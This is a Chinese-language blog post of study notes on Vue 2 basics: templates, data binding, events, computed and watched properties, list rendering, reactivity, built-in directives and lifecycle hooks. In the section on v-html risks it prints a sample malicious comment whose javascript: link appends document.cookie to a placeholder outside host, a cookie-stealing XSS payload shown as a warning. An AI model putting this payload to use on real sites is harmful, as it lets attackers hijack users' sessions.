0
点赞
收藏
分享

微信扫一扫

Vue2基础

秦瑟读书 2022-01-22 阅读 142

https://www.bilibili.com/video/BV1Zy4y1K7SH

Vue2基础

简介

//创建Vue实例
new Vue({
    el:'#root',//el为挂载点,表示这个实例为谁服务
    data:{//data用于储存数据,el指定的容器可以使用这些数据
        name:'尚硅谷'
    }
})

控制台里的Root是Vue实例

image-20220120174336219

模板语法 :{{}}、v-bind

  1. **{{}}**一般用于写标签栏的内容
  2. **冒号 😗*用于写标签里面的内容 ;冒号:是v-bind:的缩写
<h1>你好 {{name}} </h1>
<a :href="school.url">点我去</a>
<a v-bind:href="school.url">点我也可以去</a>

双向数据绑定(v-model)

  1. 使用v-model ,data里的数据会随着页面改变
  2. v-model只有输入类的表单元素可以使用 ,且只能操作value值,v-model:value可以简写成v-model
  3. 单项数据绑定如 **v-bind:**只能data改页面,不能页面改data
<input type="text" v-model:value="name">
<input type="text" v-model="name">

el与data

  1. Vue的实例对象可以访问Vue构造函数原型上的**$mount方法**,这个方法可以绑定el通过这个方法我们可以异步绑定容器

    v.$mount('#root')   //可以执行完异步再将vue模板与容器绑定绑定
    
  2. data的函数式写法(以后只能这么写)

  3. tip:不能写成箭头函数,vue会帮我们把在vue里面声明的函数的this都指向vue的实例对象。以后我们会需要用到。

    new Vue({
        data:function(){
            return{
                name:'尚硅谷'
            }
        }
    })
    

MVVM模型

  1. 以后我们用vm代指vue的实例对象

    const vm=new Vue()
    
    1. data上的属性最终会添加为vm的属性
    2. {{}}与: 可以访问vm的所有属性。
  2. Data Bindings:将data数据绑定到界面上

  3. DOM Listeners:将页面发生变化的数据传回给data

image-20220120181828422

Object.property

Object.property传入3个参数,第一个要操作的对象,第二个是要添加的属性,第三个是配置项

配置项:

  1. value :属性值
  2. enumerable:boolean 设置这个属性是够能被遍历
  3. Writable:boolean 控制属性是否能被修改
  4. configurable:boolean 控制属性是否可以被删除、
  5. get() 当属性被访问时会调用get,get具体内容由我们自定
  6. set() 当修改属性时会调用set,set可以接收将要修改的值,具体内容由我们自定
let number=18;
let person={
    name:'张三',
    sex:'男'
}
Object.defineProperty(person,age,{
    get(){
        console.log("有人读取age了");
        return number  //返回number的值
    },
    set(value){
        console.log("有人修改了number且值是",value);
        number=value; //修改number的值
    }
})

数据代理

1.简易数据代理

全程对obj2操作,操作的却是obj1。

let obj1={x:100};
let obj2={y:100};
Object.defineProperty(obj2,'x',{
    get(){
        return obj1.x;
    },
    set(value){
        obj1.x=value;
    }
})

2.Vue里的数据代理

Vue通过传入的配置给实例对象vm创建了一系列属性,原先写在data里的属性被生成到了**_data**里,然后通过 如下方式给vm添加属性,这样就可以vm.name而不用_data.name

Object.defineProperty(vm,'name',{
    get(){
        return vm._data.name
    },
    set(value){
        vm._data.name=value
    }
})
image-20220120201301060

事件处理

1.基本使用

  1. 可以用v-on:click 或者@click 这样的方式绑定事件
  2. 事件的回调定义在methods中,methods配置的函数this默认指向vm,且该函数最终会成为vm的属性
  3. @click='demo(66)'可以往回调传参,但这样回调就接收不到event事件了,如果需要使用event事件,请@click=‘demo(&event,66)’
  4. 函数写成showInfo(e)默认传参的话, @click="showInfo"即可,不能带括号,
<button @click="showInfo(&event,66)">点我提示信息</button>
new Vue({
    methods:{
        showInfo(event,number){
        }
    }
})

2.事件修饰符

  1. prevent:阻止默认行为
  2. stop:阻止事件冒泡(常用) (如果父子元素都有点击事件,点击子元素,会冒泡执行父元素点击事件)
  3. once:事件只触发一次 (如点击事件,只有第一次点击有效果)
<a href="www.baidu.com" @click.prevent="showInfo">点我</a>
<!-- 添加prevent就不会跳转百度 -->

<div class="box" @click="howInfo">
    <button @click.stop="howInfo">我是按钮</button>
</div>
<!-- 正常会冒泡提示两次,但是添加了stop这样就不会冒泡给父元素 -->
<!-- 修饰符可以写多个 @click.stop.prevent 表示先阻止冒泡再阻止默认事件 -->

<button @click.once="howInfo">我只触发一次</button>

3.键盘事件

keydowm:按下就触发
keyup:按下抬起来才触发

vue常用的按键,即keydowm.xxx or keyup.xxx
enter 回车
delete 删除
esc 退出
space 空格
tab 换行 (特殊 只能配合keydown 因为默认tab按下光标就会切走,就获取不到target了)
up 上
down 下
left
right

1.系统修饰键 ctrl alt shift win 需要配合keydown使用
2.如果按键名是一串的得小写 如caps—lock
3.可以连写表示一起按,如:keydowm.ctrl.y 表示ctrl+y才触发
<input type="text" @keyup=showdata placeholder="输入按键查看按键名与按键编码" >
           
methods:{
    showdata(e){
        console.log(e.key,e.keyCode)
    }
},

计算属性(computed)

已经有的属性去生成新的属性,这就是计算属性

  1. 计算属性需要我们为其配置getter和setter
  2. get被第一次调用会缓存,后面调用会直接拿缓存,不会再计算了
  3. 但如果计算属性所依赖的数据发生变化,会重新调一次get然后缓存
computed:{
   fullname:{
        get(){
            return this.firstname+this.lastname;//注意 this是vm
        },
        set(value){
            this.firstname=value[0];
            this.lastname=value[1];
        }
    }
},

如果不需要set,可以将fullname写成函数

computed:{
	fullname(){
         return this.firstname+this.lastname;//不要为了便捷写成箭头哦!
    },
}

监视属性(watch)

监视某个属性(普通属性or计算属性都行),这个属性发生变化时会调用handler函数

  1. immediate: 不设置默认是false,意思为:是否在初始化时调用handller

  2. handler: 可以传入2个参数,一个是当前的值,一个是变化前的值

  3. 通过vm.$watch(‘isHot’,{immediate:true,handler:f })可以实现相同效果‘

    watch:{//普通属性和计算属性都能检测
        'isHot':{
            	immediate:true, 	
         		handler(curValue,preValue){
                	console.log("isHot被修改了",cur,preValue);
            	},
                //handler可以监视isHot数据前后的变化
        },
    
  4. deep:watch默认只监视第一层数据,如对象,watch只监视对象的地址是否改变,如果想监视对象的属性是否改变,请使用配置项 deep:true

  5. 监视属性的简写:

    只使用handler的时候,监视属性可以简写成函数形式

    watch:{
        isHot(curValue,preValue){...},
    }
    vm.$watch('isHot',function(curValue,preValue){...})
    

计算属性和监视属性区别

计算属性和监视属性都能实现需求的时候使用计算属性,但如果碰到异步任务这样的需求只能使用监视属性,因为计算属性依赖的是返回值,异步任务结束的时候,已经过了解析vue模板的那一步了。

fullname(){
    setTimeout(()=>{
        return this.firstname+this.lastname
    },1000)
}

绑定class样式

:class绑定字符串:适用于样式类名不确定,需要动态指定

:class绑定数组:适用要绑定的个数不确定,名字也不确定

:class绑定对象:适用于要绑定的个数确定,名字不确定

<div class="basic" :class='mood' ></div>
<div class="basic" :class='classArr' ></div>
<div class="basic" :class='classObj' ></div>
                                       
data:{
       name:'尚硅谷',
       mood:"normal",
       classArr:["at1","at1","at1"],
       classObj:{
               at1:false,
               at2:false,
       }
}

条件渲染

1.v-show:boolean

v-show:false 底层原理是 display:none,它不会删除节点,只是隐藏节点

<h2 v-show="false">当前的n值是:{{n}}</h2>

2.v-if:

2.1 按条件渲染,它会增删节点

<div v-if="n===2">baba</div>
<div v-else-if="n===3">papa</div>
<div v-else>aaaa</div>

2.2 template标签

template只能配合v-if使用,template标签在v-if渲染的时候不会被渲染。如:

<div id="root">
    <template v-if="n===2">
        <h2>shangugigu</h2>
    </template>
</div>
//渲染后:
<div id="root">
        <h2>shangugigu</h2>
</div>

列表渲染

1.v-for简介

  1. v-for用于遍历动态生成某个标签,但是得设置key用于diff算法

  2. v-for可以接收两个参数,第一个是值,第二个是索引,如果是对象的话,第二个是键

    <li v-for="(p,index) of persons" :key="index">
    	{{p.name}}-{{p.age}}
    </li>
    

2.key原理

key是虚拟dom对象的标识,数据发生变化时,vue会根据新数据生成新的虚拟dom,随后将新的虚拟dom旧的虚拟dom比较,根据比较来决定如何利用旧的dom渲染新的dom,比较规则如下:

image-20220122003813889

图1使用index作为索引,新生成了4次dom节点,效率低。(但如果没发生逆序操作,那么没有问题)

image-20220122002253745

图2只生成一次dom节点,所以以id作为key效率高。(id常用手机号、学号、身份证等作为唯一标识)

image-20220122002616752

列表过滤

用watch的时候,需要多借助一个变量来储存 fillpersons来储存搜索结果用来遍历,且需要immediate:true在一上来初始化fillpersons。

用computed的时候,默认第一次使用计算属性的时候就会运行里面的函数,会帮我们初始化。不需要借助别的变量,直接返回就行。

所以监视属性和计算属性都能用的时候,用计算属性

//用watch实现
// new Vue({
//     el:'#root',
//     data:{
//         keyWord:'',
//         persons:[
//             {id:'001',name:"马冬梅",age:18,sex:"女"},
//             {id:'002',name:"周冬雨",age:19,sex:"女"},
//             {id:'003',name:"周杰伦",age:20,sex:"男"},
//             {id:'003',name:"温兆伦",age:20,sex:"男"},
//         ],
//         fillpersons:[],
//     },
//     watch:{
//         keyWord:{
		   //上来就调用,这时keyWord:'',相当于初始化fillpersons
//     	   immediate:true,
//             handler(val){
//                 this.fillpersons=this.persons.filter((p)=>{
//                     return p.name.indexOf(val)!==-1;
//                 })
//             }
//         }
//     }
// })

//用计算属性实现
new Vue({
    el:'#root',
    data:{
        keyWord:'',
        persons:[
            {id:'001',name:"马冬梅",age:18,sex:"女"},
            {id:'002',name:"周冬雨",age:19,sex:"女"},
            {id:'003',name:"周杰伦",age:20,sex:"男"},
            {id:'003',name:"温兆伦",age:20,sex:"男"},
        ],

    },
    computed:{
        fillpersons(){
            return this.persons.filter((p)=>{//返回filter的返回值
                //this.keyWord就相当于检测keyword的变化了
                return p.name.indexOf(this.keyWord)!==-1;
            })
        }
    }

})

Vue检测数据的原理

1.数据更新的一个问题

直接通过数组的索引修改数组的值,vue检测不到。

vue只检测Array改变数组的七个方法:pop push shift unshift reverse splice sort

因为vue里改写了这7个方法,vue里除了调用原生的这7个方法,还给它们添加了重新解析模板的功能

<button @click='updateMei()'>更新马冬梅信息</button>
data:{
    persons:[
        {id:'001',name:'马冬梅'}
    ]
},
methods:{
    updateMei(){
        //this.persons[0]={id:'002',name:'马xiaotiao'} //不改变
        this.person.push({id:'002',name:'马xiaotiao'})//改变
    }
}

2.数据变化的原理

  1. vm.student===vm._data.student 它们指向同一个地址
  2. vue初始化属性会为其设置getter和setter,而如果我们手动添加,就没有getter,setter,想要添加的化需要使用vue提供的方法。如:Vue.set() or vm.$set()

3.数据劫持

为data添加一系列方法就是数据劫持。数据劫持的意思就是你要更改data的数据,我不让你改,你改的不够,我劫持过来,我来改,我不止改,我还帮你重新渲染视图

总结:

1.Vue如何检测对象的数据

  1. Vue通过setter实现监视,所有在new Vue 时候添加的属性,Vue都会给它们添加setter。
  2. 如果后续需要添加响应式的数据,请用Vue.set() or vm.$set()。后续可以直接修改对象的属性,因为它们已经有setter了。

2.Vue如何检测数组的数据

  1. 数组的元素是没有 setter监测的,但如果数组的元素是对象,该对象的属性会有
  2. Vue需要调用更改数组的7个方法(pop push shift unshift reverse splice sort),vue才能帮你重新解析模板。
  3. 如果调用不变更数组的方法,那么,用新数组替换原来的数组,如下列例子,实际是通过items的setter来监视数据。
  4. Vue实现了一些方法,使得 :用一个含有相同元素的数组去替换原来的数组是非常高效的操作
example1.items = example1.items.filter(function (item) {
  return item.message.match(/Foo/)
})

3.注意

Vue.set() or vm.$set()只能往vm的某个对象里加属性,不能往vm上加属性

4.综合案例

const vm=new Vue({
      	data:{
            student:{
               name:'tom',
               age:18,
               hobby:['抽烟','喝酒','烫头'],
               friends:[
                   {name:'jerry',age:"35"},
                   {name:'tony',age:"36"}
]}},
            methods:{
            	addSex(){  this.$set(this.student,'sex','男') }
                
                addFriend(){
                 this.student.friends.unshift({name:'haha',age:'55'})
                },
                    
                updateFirstFriendName(){
                 //friends[0]是对象,它的name属性已经有自己的setter了
                 this.student.friends[0].name='张三';
                },
                    
                updateHobbit(){                   
                    this.student.hobby.splice(0,1,"看电视")
                    // this.$set(this.student.hobby,0,"看电视") 
                    //   Vue.set(this.student.hobby,0,"看电视") 
                }
				removeSmoke(){
                this.student.hobby=this.student.hobby.filter((h)=>{
                    return h!== '抽烟
				})}
}})

V-model收集表单数据

<input type='text' v-model.trim='   2316515    '> //2316515

image-20220122145823100

cookie原理

1.有的网站可能一次给完你所有的cookie,有的要依次访问依次给。

2.cookie很重要, 如果别人有了你的k1、k2就可以虚拟你的身份。所以请不要将自己的电脑给别人使用,并不是你不给别人看你账号密码的输入过程就行。如果实在要给别人使用,chrome可以一键删除cookie!

image-20220122155732810

3.document.cookie可以拿到当前页面没有勾选HttpOnly的cookie,勾选HttpOnly的数据只有http协议可以读取。

4.v-html的安全隐患:如果你用V-for+v-html遍历输出评论内容,那么别人就可以在评论里进行xss攻击。

//某条危险的评论:
兄弟,要是还不懂看看这个
<a href=javascript:location.href='www.xxx.com'+document.cookie>
	官网
</a>

内置指令

1.常用内置指令

v-if : 如果为true, 当前标签才会添加到页面
v-else: 如果为false, 当前标签才会添加到页面
v-show : 通过控制display样式来控制显示/隐藏
v-for : 遍历数组/对象
v-on : 绑定事件, 一般简写为 @
v-bind : 绑定解析表达式, 一般简写为 :
v-model : 双向数据绑定
v-text : 更新元素的 文本内容
v-html : 更新元素的 innerHTML

1.v-text

v-text会将文本的内容完全替换。

<div>你好,{{name}}</div>            
//你好,xxx
<div v-text='str'>你好。</div> 
//<h3>你好</h3>
data:{
    name:张三
    str:'<h3>你好</h3>'
}

2.v-html作用:

向指定节点中渲染包含html结构的内容。
与插值语法的区别:

  1. v-html会替换掉节点中所有的内容,{{xx}}则不会。
  2. v-html可以识别html结构。
  3. 严重注意:v-html有安全性问题!!!!
    1. 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
    2. 一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<div v-html='str'>你好2222</div> 
//你好

//结构:<div ><h3>你好3333</h3></div> 
data:{
    name:张三
    str:'<h3>你好3333</h3>'
}

3.v-clock

  1. 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。

  2. 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

    [v-clock] {
    	display: none;
    }
    

4.v-once

  1. v-once所在节点在初次动态渲染后,就视为静态内容了。
  2. 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

5.v-pre

image-20220122162755677

生命周期

生命周期又可以称为生命周期回调函数(或生命周期钩子),都是在某个阶段Vue帮我们调用的。

全流程:

1.

image-20220122181207793

  1. 初始化生命周期函数(如mounted())
  2. 初始化事件(如 click.once()),在这一步vm上面还没有_data.

2.beforeCreate()

image-20220122181239529

​ beforeCreate()表示在创建数据检测和数据代理前

3.

image-20220122181309713

  1. 进行数据检测(如给对象属性添加setter、对操作数组的方法进行二次包装)
  2. 进行数据代理(你只需要vm.name就能访问vm._data.name)

4.created()

image-20220122181342879

​ created()表示创建数据检测和数据代理完毕

5.

image-20220122181440222

解析模板:

  1. 如下翻译模板

    <h2>当前的n值是:{{n}}</h2>
    
    <h2>当前的n值是:3</h2>
    
  2. 但这一阶段还只是虚拟的dom,并没有挂载到页面上

  3. 判断

    ①是否有el,有就往下走,没有就等vm.$mount(el)调用再往下走

    ②判断是否有template配置项,有就解析template的内容,没有就解析el里的内容。

    ​ 注意:template里面只能由一个大的容器包裹很多小的容器

    ③template里的内容会完全替换掉el,也就是el对应的标签最后会不存在。

    new Vue({
        el:'#root',
    	template:`
    	<div>
            <h2>当前的n值是:{{n}}</h2>
            <button @click='add()'>n+1</button>
    	</div>
    	`,
    })
    

6.beforeMount()

​ beforeMount()表示挂载前

7.

image-20220122182403171

​ 在vm.$el 存了一份真实dom

8.mounted()

image-20220122182445467

mount 挂载/安装 mounted挂载完毕

Vue完成模板的解析,并把初始的真实dom元素放入页面后调用mounted(),往后重新解析模板就不会再调用mounted()了。

9.beforeUpadate() and updated()

image-20220122195209960

​ beforeUpadate()表示更新前:

  1. vue检测到数据变化后,会去对比新旧dom,然后完成页面更新

  2. 此时数据是新的,但页面时旧的

    updated()表示更新完了:此时数据是新的,页面也是新的。

10.beforeDestroy()

在这一阶段,你可以访问数据跟方法,但是页面不会更新了。

销毁阶段:消除监听器、消除与子组件的联系、消除事件监听

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hMVpcEcC-1642865626531)(C:/Users/A/AppData/Roaming/Typora/typora-user-images/image-20220122195713804.png)]

11.destoyed()销毁后

12.总的流程图

生命周期

举报

相关推荐

0 条评论